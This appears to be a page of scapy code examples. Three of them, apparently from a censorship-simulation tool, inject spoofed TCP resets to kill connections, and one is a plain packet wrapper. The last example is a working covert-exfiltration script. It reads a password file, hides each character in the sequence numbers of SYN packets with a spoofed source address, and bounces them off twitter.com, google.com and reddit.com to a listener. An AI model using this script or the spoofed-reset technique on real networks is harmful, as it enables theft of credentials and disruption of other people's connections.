예제 #1
0
    def censor(self, scapy_packet):
        """
        Send 5 resets to the client and the server.
        """
        client_ip_rst = IP(src=scapy_packet[IP].dst, dst=scapy_packet[IP].src)
        client_tcp_rst = TCP(dport=scapy_packet[TCP].sport,
                             sport=scapy_packet[TCP].dport,
                             ack=scapy_packet[TCP].seq +
                             len(str(scapy_packet[TCP].payload)),
                             seq=scapy_packet[TCP].ack,
                             flags="R")
        client_rst = client_ip_rst / client_tcp_rst

        server_ip_rst = IP(src=self.censor_ip, dst=scapy_packet[IP].dst)
        server_tcp_rst = TCP(dport=scapy_packet[TCP].dport,
                             sport=scapy_packet[TCP].sport,
                             ack=scapy_packet[TCP].ack,
                             seq=scapy_packet[TCP].seq,
                             flags="R")
        server_tcp_rst.show()
        server_rst = server_ip_rst / server_tcp_rst

        for _ in range(0, 5):
            self.mysend(client_rst)
            self.mysend(server_rst)
예제 #2
0
    def censor(self, scapy_packet):
        """
        Send 5 resets to the server.
        """
        server_ip_rst = IP(src=self.censor_ip, dst=scapy_packet[IP].dst)
        server_tcp_rst = TCP(dport=scapy_packet[TCP].dport,
                             sport=scapy_packet[TCP].sport,
                             ack=scapy_packet[TCP].ack,
                             seq=scapy_packet[TCP].seq,
                             flags="R")
        server_tcp_rst.show()
        server_rst = server_ip_rst / server_tcp_rst

        for _ in range(0, 5):
            self.mysend(server_rst)
예제 #3
0
class TCPLayer(object):
	"""docstring for TCPLayer"""
	def __init__(self, arguments={}):
		# super(IPLayer, self).__init__()
		self.packet = None
		if not isinstance(arguments, dict): return "Please provide a dictionay"
		self.arguments = arguments

	def make(self):
		self.packet = TCP()
		for param in self.arguments:
			if not hasattr(self.packet, param): continue 
			setattr(self.packet, param , self.arguments[param])
		return self

	def updatePacket(self, arguments={}):
		if not isinstance(arguments, dict): return "Please provide a dictionay"
		for param in arguments:
			if not hasattr(self.packet, param): continue
			setattr(self.packet, param , arguments[param])
		return self

	def getPacket(self):
		return self.packet

	def show(self):
		return self.packet.show()

	def _getTCP(self):
		return TCP()
예제 #4
0
    def censor(self, scapy_packet):
        """
        Adds client and server IPs to flagged IP list.
        """
        if scapy_packet["IP"].src not in self.flagged_ips:
            self.flagged_ips.append(scapy_packet["IP"].src)
            self.logger.debug("Marking IP %s for dropping..." % scapy_packet["IP"].src)
        if scapy_packet["IP"].dst not in self.flagged_ips:
            self.flagged_ips.append(scapy_packet["IP"].dst)
            self.logger.debug("Marking IP %s for dropping..." % scapy_packet["IP"].dst)

        client_ip_rst = IP(src=scapy_packet[IP].dst, dst=scapy_packet[IP].src)
        client_tcp_rst = TCP(
            dport=scapy_packet[TCP].sport,
            sport=scapy_packet[TCP].dport,
            ack=scapy_packet[TCP].seq+len(str(scapy_packet[TCP].payload)),
            seq=scapy_packet[TCP].ack,
            flags="R"
        )
        client_rst = client_ip_rst / client_tcp_rst

        server_ip_rst = IP(src=self.censor_ip, dst=scapy_packet[IP].dst)
        server_tcp_rst = TCP(
            dport=scapy_packet[TCP].dport,
            sport=scapy_packet[TCP].sport,
            ack=scapy_packet[TCP].ack,
            seq=scapy_packet[TCP].seq,
            flags="R"
        )
        server_tcp_rst.show()
        server_rst = server_ip_rst / server_tcp_rst

        for _ in range(0, 5):
            self.mysend(client_rst)
            self.mysend(server_rst)

        return "accept"
예제 #5
0
#! /usr/bin/env python

from scapy.all import TCP, IP, send
import time

src_naame = '10.0.2.15'  # Enter ip of listener
src_port = 666  # Enter port on which listener iss listening

i = 0
sn = 70

f = open("/home/MadMaxx/Desktop/psswd.txt", 'r')
webs = ['twitter.com', 'google.com', 'reddit.com']

for line in f.readlines():
    for c in line:
        serv = webs[i]
        ip = IP(dst=serv, src=src_naame)
        p = sn * 1000 + ord(c)
        tcp = TCP(sport=src_port, dport=443, flags='S', seq=p)
        send(ip / tcp)
        ip.show()
        tcp.show()
        time.sleep(0.5)
        send(ip / TCP(dport=443, flags='F'))
        sn += 1
        if i + 1 == len(webs):
            i = 0
        else:
            i += 1